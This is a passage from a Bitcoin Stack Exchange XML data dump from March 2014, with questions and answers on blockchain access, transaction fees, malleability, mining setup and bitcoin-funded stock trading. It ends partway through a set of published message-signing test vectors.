  <row Id="22853" PostTypeId="2" ParentId="22851" CreationDate="2014-03-01T00:33:07.660" Score="1" Body="&lt;p&gt;This is called the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;Blockchain&lt;/a&gt;.  You can access it yourself if you use a client like the reference client, &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-QT&lt;/a&gt;.  By reference, I mean that Bitcoin-QT downloads it to your disk... you have to write a program to access past transations, because Bitcoin-QT doesn't allow you to search past transactions other than your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to access the blockchain is to use a web site like &lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt;. You can either use the web pages to review the blockchain, or use some of their &lt;a href=&quot;http://blockchain.info/api&quot; rel=&quot;nofollow&quot;&gt;APIs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-03-01T00:33:07.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22854" PostTypeId="2" ParentId="22849" CreationDate="2014-03-01T02:16:48.340" Score="0" Body="&lt;p&gt;Yes it refs the public key and also a hash of the sig content, of which the sig hash is only partially included in the txn number&lt;/p&gt;&#xA;" OwnerUserId="10268" LastActivityDate="2014-03-01T02:16:48.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22855" PostTypeId="1" CreationDate="2014-03-01T02:21:27.957" Score="-1" ViewCount="296" Body="&lt;p&gt;I can't link to one on block chain because are never confirmed, one example from my wallet software:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6dd2861a4f6d025742f6306588f2929f476e8f3b2d25c1487cc245e0a402675c: Seen by 1 peer. Pending/unconfirmed.&#xA;     from 1SochiWwFFySPjQoi2biVftXn8NRPCSQC / 3c462f4626dd2fa8e802a5b476f206e9133a69c0bb47b1454b7c44b385d93a92:0&#xA;       to 1HULKKRbsP9TcLZcokZ7XHJL1Bf1a2jH3k 0.00000001 BTC&#xA;       to 1P2G2EP3c1PvXcn5ZpmYZvR5KkAdYNeYXb 0.00000001 BTC&#xA;       to 13d5SNKqE9Q94osrZNZfzRjUTuyBRJECbT 0.00000001 BTC&#xA;       to 1fMS4VF4bZvv9WcU8PPP9VVHto3tyfdan 0.00000001 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... etc&lt;/p&gt;&#xA;" OwnerUserId="13998" LastEditorUserId="13998" LastEditDate="2014-03-02T02:51:27.020" LastActivityDate="2014-03-02T02:51:27.020" Title="What is the source of 1 Satoshi transactions from suspicious addresses (1Sochi.. for e.g.)" Tags="|transactions|" AnswerCount="1" CommentCount="2" ClosedDate="2014-03-01T09:57:41.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="22857" PostTypeId="2" ParentId="22855" CreationDate="2014-03-01T03:50:29.763" Score="0" Body="&lt;p&gt;Yes, I see them, not that you have compiled them in this pulpy mass for me to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I do not see what is suspicious about these addresses, nor their various splashings about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They look like the playful work of some bored young men. &lt;/p&gt;&#xA;" OwnerUserId="14016" LastActivityDate="2014-03-01T03:50:29.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22859" PostTypeId="2" ParentId="22850" CreationDate="2014-03-01T04:09:57.727" Score="1" Body="&lt;p&gt;Yes, NVidia Graphics card utilization versus naked CPU does help, quite a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Breath. Take a step back.  Make sure you're running as an administrator. Try bashing&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo apt-get install libudev1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use this wiki &lt;a href=&quot;http://www.distrogeeks.com/install-cgminer-latest-ubuntu/&quot; rel=&quot;nofollow&quot;&gt;http://www.distrogeeks.com/install-cgminer-latest-ubuntu/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't get discouraged! It's tough but we've all gotta learn sometime, no better way to do it but to Do It.&lt;/p&gt;&#xA;" OwnerUserId="14016" LastEditorUserId="2306" LastEditDate="2014-09-03T17:12:36.513" LastActivityDate="2014-09-03T17:12:36.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22861" PostTypeId="2" ParentId="22831" CreationDate="2014-03-01T05:12:37.163" Score="0" Body="&lt;p&gt;Seth wants to send Martha a message and is willing to spend 10 BTC to see it delivered. Charlie is happy to deliver it from South Dakota to Michigan at that price.&#xA;Seth would like to ensure the message is delivered and Charlie wants to ensure he gets paid for his trouble.&lt;/p&gt;&#xA;&lt;p&gt;They could do the following;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Seth signs and encrypts the plaintext message (m1) to Martha into a cyphertext message (c1) using Martha's public key and his private key.&lt;/li&gt;&#xA;&lt;li&gt;Seth further encrypts the cypher text message with a nonce (n1) into a new cypertext message (c2)&lt;/li&gt;&#xA;&lt;li&gt;Seth builds a bitcoin transfer (t1) and adds the nonce (n1) to the transfers comment section and signs it. (t2)&lt;/li&gt;&#xA;&lt;li&gt;Seth then encrypts the signed transfer and nonce (t2) with Charlie's public key into a new message (t3).&lt;/li&gt;&#xA;&lt;li&gt;Seth then encrypts both the encrypted transfer (t3) and the nonce encrypted message (c2) with Martha's public key. This final package is good for shipping (c3)&lt;/li&gt;&#xA;&lt;li&gt;Charlie takes our package to Martha, it's a long trip but the 10btc is worth it.&lt;/li&gt;&#xA;&lt;li&gt;Martha decodes the package (c3) into it's parts the encrypted transfer (t3) and nonce encrypted message (c2)&lt;/li&gt;&#xA;&lt;li&gt;Martha gives Charlie the encrypted transfer (t3)&lt;/li&gt;&#xA;&lt;li&gt;Charlie decrypts the encrypted transfer (t3) into the a signed transfer and nonce (t2)&lt;/li&gt;&#xA;&lt;li&gt;Charlie tells everyone on the plant about the transfer (t2) including Martha. He wants to do this so people know he has the money.&lt;/li&gt;&#xA;&lt;li&gt;Martha takes the transfer (t2) and extracts the nonce (n1) and uses it to decrypt her message (c2) into the signed message (c1)&lt;/li&gt;&#xA;&lt;li&gt;Martha then decrypts the message (c1) again with her private key and gets Seth's letter (m1)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Lets see if I can make this a truth table;&lt;/p&gt;&#xA;&lt;h1&gt;Seth&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;(m1, seth_pk, martha_pub) =&amp;gt; c1&#xA;(c1, n1) =&amp;gt; c2&#xA;(t1, n1, seth_pk) =&amp;gt; t2&#xA;(t2, charlie_pub) =&amp;gt; t3&#xA;(t3 + c2, martha_pub) =&amp;gt; c3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;Martha&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;(c3, martha_pk) =&amp;gt; t3, c2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;Charlie&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;(t3, charlie_pk) =&amp;gt; t2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;Martha&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;(t2) =&amp;gt; t1, n1&#xA;(n1, c2) =&amp;gt; c1&#xA;(c1, martha_pk) =&amp;gt; m1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11004" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-03-01T05:12:37.163" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22862" PostTypeId="2" ParentId="22848" CreationDate="2014-03-01T05:12:45.660" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Did someone break into my wallet?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you were using standard bitcoin client -- then yes. If some online wallet like blockchain.info -- anything could have happened.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Wouldn't they need my private key and my password to do that?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only thing needed to transfer coins is private key.&lt;/p&gt;&#xA;" OwnerUserId="13993" LastEditorUserId="5757" LastEditDate="2014-03-01T15:28:05.643" LastActivityDate="2014-03-01T15:28:05.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22864" PostTypeId="1" CreationDate="2014-03-01T05:36:08.743" Score="3" ViewCount="213" Body="&lt;p&gt;&lt;a href=&quot;http://www.theguardian.com/technology/2014/feb/27/how-does-a-bug-in-bitcoin-lead-to-mtgoxs-collapse&quot; rel=&quot;nofollow&quot;&gt;Malleability&lt;/a&gt; of Bitcoin protocol has contributed to major &lt;a href=&quot;http://www.usatoday.com/story/money/markets/2014/02/28/bitcoin-mt-gox-collapse-japan/5891841/&quot; rel=&quot;nofollow&quot;&gt;losses&lt;/a&gt; and represents uncomfortable risk to Bitcoin investors in addition to possibility of 51% attack that depends on &lt;a href=&quot;https://ghash.io/ghashio_press_release.pdf&quot; rel=&quot;nofollow&quot;&gt;promise of biggest mining pool&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, any centralized exchange company can run away with depositors money, but, at least, currency protocol should be strong enough to not allow exchange company owners to blame losses on protocol and hackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do &lt;a href=&quot;http://www.wired.com/wiredenterprise/2014/01/ethereum/&quot; rel=&quot;nofollow&quot;&gt;Ethereum&lt;/a&gt; or &lt;a href=&quot;http://www.nxtcrypto.org/&quot; rel=&quot;nofollow&quot;&gt;NXT&lt;/a&gt; or &lt;a href=&quot;https://counterparty.co/&quot; rel=&quot;nofollow&quot;&gt;counterparty&lt;/a&gt; or &lt;a href=&quot;https://ripple.com/currency/&quot; rel=&quot;nofollow&quot;&gt;ripple&lt;/a&gt; or &lt;a href=&quot;http://mintcoin.cc/&quot; rel=&quot;nofollow&quot;&gt;mint&lt;/a&gt; or &lt;a href=&quot;http://coinmarketcap.com/all.html&quot; rel=&quot;nofollow&quot;&gt;any in top 10&lt;/a&gt; have same vulnerability ?&lt;/p&gt;&#xA;" OwnerUserId="1874" LastEditorUserId="2306" LastEditDate="2014-09-12T01:07:13.133" LastActivityDate="2014-09-12T01:07:13.133" Title="What other currencies have same malleability vulnerability as Bitcoin?" Tags="|security|exchanges|transaction-malleability|fraud|" AnswerCount="2" CommentCount="7" ClosedDate="2014-03-03T00:52:45.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="22866" PostTypeId="2" ParentId="22313" CreationDate="2014-03-01T06:53:44.937" Score="4" Body="&lt;p&gt;You can calculate your transaction size before sending the transaction. Here's some more info on that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1195/how-to-calculate-transaction-size-before-sending/3011#3011&quot;&gt;How to calculate transaction size before sending&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A single transaction isn't limited to how many outputs it has, rather, there are some limits to how big a block is. You can read more here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5341/how-many-different-destinations-can-a-single-transaction-have/5343#5343&quot;&gt;How many different destinations can a single transaction have?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;After calculating the size, you can further calculate fees by using this method (it takes into account some code in &lt;code&gt;main.h&lt;/code&gt;): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3400/what-is-the-exact-formula-for-calculating-transaction-fees&quot;&gt;What is the exact formula for calculating transaction fees?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-03-03T04:48:39.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22868" PostTypeId="2" ParentId="22114" CreationDate="2014-03-01T07:56:21.933" Score="1" Body="&lt;p&gt;Since you have R9 290 you likely need patched Catalyst drivers as well as patch cgminer itself as described &lt;a href=&quot;http://www.ohmpie.com/mining-on-an-r9-290-in-linux/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. If you already done so, then search reddit and experiment with different configurations. You should be getting around 840-870kH/s with your card.&lt;/p&gt;&#xA;" OwnerUserId="13346" LastActivityDate="2014-03-01T07:56:21.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22869" PostTypeId="2" ParentId="22864" CreationDate="2014-03-01T09:31:03.050" Score="2" Body="&lt;p&gt;This is a quite hard analysis to make. In general all alt-coins that are based on the concept of dynamic input-scripts and output-scripts are subject to transaction malleability. This is because anybody could change the input scripts of a transaction, by adding commands that wouldn't alter the validity of the script, but would alter its hash. For example adding OP_DROP will leave the stack exactly as before prior to scriptPubKey execution.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-03-01T09:31:03.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22870" PostTypeId="1" AcceptedAnswerId="22871" CreationDate="2014-03-01T09:37:22.647" Score="2" ViewCount="2003" Body="&lt;p&gt;I am able to createrawtransaction and sendrawtransaction but how am I able to specify a transaction fee for the miners?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking at possibly large transaction sizes due to multiple inputs (around 100) and I have had a few of them never show up to their destinations and some of them do show up. I am assuming this might be due to the lack of transaction fees since I am using the exact same code to send both raw transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So again, how can I specify a transaction fee in Bitcoind with creating a raw transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And by the way, I am spending the funds from a multisignature address, in which 2 of the private keys are not controlled locally, so settxfee will not suffice. I want to write it into the transaction itself.&lt;/p&gt;&#xA;" OwnerUserId="14035" LastActivityDate="2014-03-01T09:50:58.597" Title="CreateRawTransaction and SendRawTransaction how to specify transaction fee?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-03T00:51:46.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="22871" PostTypeId="2" ParentId="22870" CreationDate="2014-03-01T09:50:58.597" Score="5" Body="&lt;p&gt;The transaction fee is specified by the difference of the sum of inputs and the sum of outputs, i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;transaction fee = Σ(inputs) - Σ(outputs)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words, you set a transaction fee by sending more than you assign to the recipient.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-03-01T09:50:58.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22873" PostTypeId="2" ParentId="22864" CreationDate="2014-03-01T09:56:59.053" Score="1" Body="&lt;p&gt;NXT is based on different code, so it is repaired there, Nxt doesn't have malleability vulnerability&lt;/p&gt;&#xA;" OwnerUserId="14036" LastActivityDate="2014-03-01T09:56:59.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22875" PostTypeId="1" CreationDate="2014-03-01T12:10:53.423" Score="11" ViewCount="43988" Body="&lt;p&gt;I have got some USD balance with a Bitcoin exchange. I intend to buy stocks for these USDs. Is there an online broker that accepts Bitcoin as a deposit option for stock market trading? I mean the usual stock market where items like Google, Microsoft etc. are traded. Or do I have to go the usual way of withdrawing my USDs from the exchange to my bank account and then invest from there?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="3120" LastEditDate="2014-03-01T12:25:05.513" LastActivityDate="2015-08-15T04:34:07.707" Title="Can I buy stocks with Bitcoin?" Tags="|trading|banks|stocks|" AnswerCount="7" CommentCount="0" ClosedDate="2015-08-15T04:35:57.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="22877" PostTypeId="2" ParentId="22875" CreationDate="2014-03-01T13:43:00.320" Score="4" Body="&lt;p&gt;I am not aware of any. Whilst I like to think of such not-yet-existing services as simply waiting to be provided soon, there is a significant barrier to creating such a service. A broker wanting to offer taking bitcoin deposits as collateral for your stock holdings would need a reliable and classical-finance-compatible way of converting this collateral into USD. This would be needed in case stock price or bitcoin price movements come close enough to using up all the available collateral. With stock exchanges, the broker can do such a service whilst not taking any risk not somehow addressed or knowingly tolerated in the world of finance. Existing bitcoin exchanges do not fit into this because they operate slightly differently from regular stock or foreign currency exchanges. Hence there is additional risk that, whilst apparently acceptable to customers of existing bitcoin exchanges, would probably be seen as utterly unacceptable on many levels by a broker (regulatory, reputational, own risk assessment, ...). Basically, I think such a broker would have to find a bitcoin exchange operating the same way and regulated in the same way as a stock exchange, to be able to make it square with the rest of his business. There may possibly be exceptions among brokers only catering to accredited investors---those are people rich enough that the law automatically trusts them to enter financial business otherwise prohibited for customer protection reasons. But if you qualified as such, I doubt you'd go to a website for advice about finding a broker...&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-03-03T08:02:39.353" LastActivityDate="2014-03-03T08:02:39.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22878" PostTypeId="5" CreationDate="2014-03-01T14:18:09.550" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-03-01T14:18:09.550" LastActivityDate="2014-03-01T14:18:09.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22879" PostTypeId="4" CreationDate="2014-03-01T14:18:09.550" Score="0" Body="Crypto-currency whose proof of work algorithm is &quot;Momentum&quot;, which requires fast access to lots of RAM, ensuring that a GPU miner has only a slight advantage over a CPU-only, and making it very difficult to create an ASIC for it." OwnerUserId="4748" LastEditorUserId="5406" LastEditDate="2014-03-01T22:59:57.873" LastActivityDate="2014-03-01T22:59:57.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22881" PostTypeId="2" ParentId="21974" CreationDate="2014-03-01T17:01:37.137" Score="2" Body="&lt;p&gt;It's nice to see my work copied verbatim in appendix A &quot;Blockchain: Blueprint for a new Economy&quot; by O'Rielly... but they missed a few details. Someone from there should reach out to me&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;After generating 16 million keys,  comparing my results with the QT client over RPC, I've come up with the following test keys for compressed public keys:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Default&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:&#xA;Private as hex 79186670301299046436858412936420417076660923359050732094116068951337164773779&#xA;Public address 1EE8rpFCSSaBmG19sLdgQLEWuDaiYVFT9J&#xA;Message: test123&#xA;Signature: IGP5aqo6+oKzUF4/Pq6dfksKxlcy1CehKv6aKA6GUMGOf9Jd62UWRMNwN3KXnOHi0PdBekVBlr23EKa7sGDgTtI=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  03A3D70082D23B32B26890EA01F6AF628F8D424DF3B025802D32FC3F2D5EF4D083&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 63F96AAA3AFA82B3505E3F3EAE9D7E4B0AC65732D427A12AFE9A280E8650C18E&#xA;Signature S (may need alignment to 32 bits): 7FD25DEB651644C3703772979CE1E2D0F7417A454196BDB710A6BBB060E04ED2&#xA;Signature Noncanonical: IGP5aqo6+oKzUF4/Pq6dfksKxlcy1CehKv6aKA6GUMGOAX/SXetlFkTDcDdyl5zh4s+x8Fcr8N9d8tB5Gj0xFpA=&#xA;S value noncanonical: 173607507099637907991191162345204054084248845170247593505487421300829521874963&#xA;Key recovery value: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Canonical formatting of S&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   SValueReducedToHalf&#xA;Private as hex 104418396969965692461517188368945301704108638856440619106351414329473623554759&#xA;Public address 18m1EvVCeFsupQSsdZ3rTPGjL6j9hQpoj5&#xA;Message: test123&#xA;Signature: H5TIq/7pLqy2M9lUGUa9i1kxML4EmWN+MwiyijquyMhcbTuAiOjffxRz7xayj4qaAig8Y1OZFn/aqWDkM5GXVqQ=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  0228E33569266CB496AC2808C68D217B542A1E769CA62F2144BEB4D602BDB28014&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 0094C8ABFEE92EACB633D9541946BD8B593130BE0499637E3308B28A3AAEC8C85C&#xA;Signature S (may need alignment to 32 bits): 0092C47F77172080EB8C10E94D707565FC927279931632206116717A593E9EEA9D&#xA;Signature Noncanonical: H5TIq/7pLqy2M9lUGUa9i1kxML4EmWN+MwiyijquyMhcksR/dxcggOuMEOlNcHVl/JJyeZMWMiBhFnF6WT6e6p0=&#xA;S value noncanonical: 66384857650308705735089161182204613834546990056514581767424835152008945003165&#xA;Key recovery value: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Canonical formatting of S, R is &quot;short&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   SValueReducedToHalf, RHasZeros_1&#xA;Private as hex 26841850108733854068844877092845755783895918659584173218404826715393242032133&#xA;Public address 1FRUjbVX9bbctP6y7Z7jmBufdW6KyoSvGw&#xA;Message: test123&#xA;Signature: HxypbxPc+0rICT/x6AWkGoQjE/rE7UtCLy0eS0uGn4WFGlrLkJxJDgJcIgwGDH6MdIiWL/E+cvPv2dqeHw5zCwA=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  03F87C4C73949612279398F2634B3D4D3DDC60EBD1D5A7F52133B9A08625DCFBC1&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 1CA96F13DCFB4AC8093FF1E805A41A842313FAC4ED4B422F2D1E4B4B869F8585&#xA;Signature S (may need alignment to 32 bits): 00E5A5346F63B6F1FDA3DDF3F9F381738A3218ACF570D5AC4BE5F7C06DC1C33641&#xA;Signature Noncanonical: HxypbxPc+0rICT/x6AWkGoQjE/rE7UtCLy0eS0uGn4WF5aU0b2O28f2j3fP584FzijIYrPVw1axL5ffAbcHDNkE=&#xA;S value noncanonical: 103871533985121725711649129661651907020330641311974510999031854527404235241025&#xA;Key recovery value: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Canonical formatting of S, has 4 zeroes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   SValueReducedToHalf, SLessThan32_4&#xA;Private as hex 86520705923672484424543748367654505450021158466896423122495789612346391207140&#xA;Public address 1NQvJ2X1KVwuYPQRdeiDbFanLod72UPEjg&#xA;Message: test123&#xA;Signature: IAD0xd4DofuKthgkVUfH8JJF/zeKeGL9b4gdYCb6PxhVcHd4KiX7lFAN2Kun9wUC21T0Z0bPnrsTlAIHWN03P20=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  0357B8B24DF08BEFDBEE910A3D95034FEAC1C54CDC100662FF394EB72BB23FE003&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 00F4C5DE03A1FB8AB618245547C7F09245FF378A7862FD6F881D6026FA3F1855&#xA;Signature S (may need alignment to 32 bits): 008F8887D5DA046BAFF227545808FAFD2365BA759FDFA9E5282BD05733F2FF01D4&#xA;Signature Noncanonical: IAD0xd4DofuKthgkVUfH8JJF/zeKeGL9b4gdYCb6PxhVj4iH1doEa6/yJ1RYCPr9I2W6dZ/fqeUoK9BXM/L/AdQ=&#xA;S value noncanonical: 64921966049402308770510180383138525221043468997005421168542368100274768118228&#xA;Key recovery value: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;R and S had leading zeroes (twos compliment confusion possible)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   RGreaterThan32, SGreaterThan32&#xA;Private as hex 49271812223912890183372000738074590620901220493616955749035660411043423358313&#xA;Public address 1EAGUmQG2evn1ujibn1meucRt5URGr7TKS&#xA;Message: test123&#xA;Signature: H1z4EjRWIcxYLu82qXDKVwvX74EGr5Zc8hnkL8NEO9fRAGOALDrFakMTq+gVoF+qf+8jgZSI8Lomvi1sSx8Zy3Y=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  02A099AB8D17E11D044A495812D0619A833C03961ED0B090A06C2C81AB2CFB8C4C&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 5CF812345621CC582EEF36A970CA570BD7EF8106AF965CF219E42FC3443BD7D1&#xA;Signature S (may need alignment to 32 bits): 63802C3AC56A4313ABE815A05FAA7FEF23819488F0BA26BE2D6C4B1F19CB76&#xA;Signature Noncanonical: H1z4EjRWIcxYLu82qXDKVwvX74EGr5Zc8hnkL8NEO9fRAQBjgCw6xWpDE6voFaBfqn6p0l57ODlaYn3/ytfvUAw=&#xA;S value noncanonical: 115967891712688622791697912048921273624697397818356039879425919349736894106807&#xA;Key recovery value: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;**Canonical formatting of S,  S has more than 32 zeros, R is &quot;short&quot; **&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   SValueReducedToHalf, SGreaterThan32, RHasZeros_1&#xA;Private as hex 4777466271014663949802819381765970429152817494201827532502916324303349007402&#xA;Public address 1Ea6tSV9wrofLkfqepnbLuwDKSMgUNd8k8&#xA;Message: test123&#xA;Signature: IKJKgEi+x77OgaW0fr884GZrSh+/0cuP+TpY7EUm00EMXODggkAxLPSGfXSNWEjP5jNcSGJjjsxO1SqnNxMnowA=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  03AB63D0D115D9C8C53A60989D1D25EFB5FB508E1F5BEEFD7D2487D12289751E71&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 00A24A8048BEC7BECE81A5B47EBF3CE0666B4A1FBFD1CB8FF93A58EC4526D3410C&#xA;Signature S (may need alignment to 32 bits): 00A31F1F7DBFCED30B79828B72A7B73018875294844BB9D3ECEAA7B755BD0E9E41&#xA;Signature Noncanonical: IKJKgEi+x77OgaW0fr884GZrSh+/0cuP+TpY7EUm00EMox8ffb/O0wt5gotyp7cwGIdSlIRLudPs6qe3Vb0OnkE=&#xA;S value noncanonical: 73781983922410365449727642718035935024524267847686688743716438700218775412289&#xA;Key recovery value: 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;**Canonical formatting of S, R and S look like two's compliment **&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   SValueReducedToHalf, RGreaterThan32, SGreaterThan32&#xA;Private as hex 30773778924833153278326239976267448371250861545391810261071816760957004408309&#xA;Public address 13a8JzTy6igoA7QfQyZVsDCpQvXY4eBj9i&#xA;Message: test123&#xA;Signature: H4jdYEux4k1zQaXby1OXSfdi6I7XgdkngA1F/E1rfcSHANqDQxCb3cAxnVG88p8jxyoJKPZh8y/XdYLwPhgmEMM=&#xA;&#xA;___ debug data for above ___&#xA;Is public key compressed:True&#xA;Public key as hex  03C70FDC0743E19CCBF923FE5454FD6C63943E65C9BD8C1FE0847E3C365CFF8971&#xA;Message Hash: 9C20FD5DCB51A6DBD21CFC172CBFFA7F59DE199ED53D567EC1CAF49A4E6F19BC&#xA;Signature R (may need alignment to 32 bits): 0088DD604BB1E24D7341A5DBCB539749F762E88ED781D927800D45FC4D6B7DC487&#xA;Signature S (may need alignment to 32 bits): 00FF257CBCEF64223FCE62AE430D60DC3790A5B3F04D5570644A4F6E4EB810307E&#xA;Signature Noncanonical: H4jdYEux4k1zQaXby1OXSfdi6I7XgdkngA1F/E1rfcSH/yV8vO9kIj/OYq5DDWDcN5Cls/BNVXBkSk9uTrgQMH4=&#xA;S value noncanonical: 115406010640357535068751835107045199953964590515092451110614826883136174960766&#xA;Key recovery value: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;R is short&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test:   RHasZeros_1&#xA;Private as hex 61103943668025454604648533394738966390945260249802700793400423519535802730901&#xA;Public address 19AnGbm4ZxhcUQ18Ttcpxd5AjQTtk7TfUy&#xA;Message: test123&#xA;Signature: 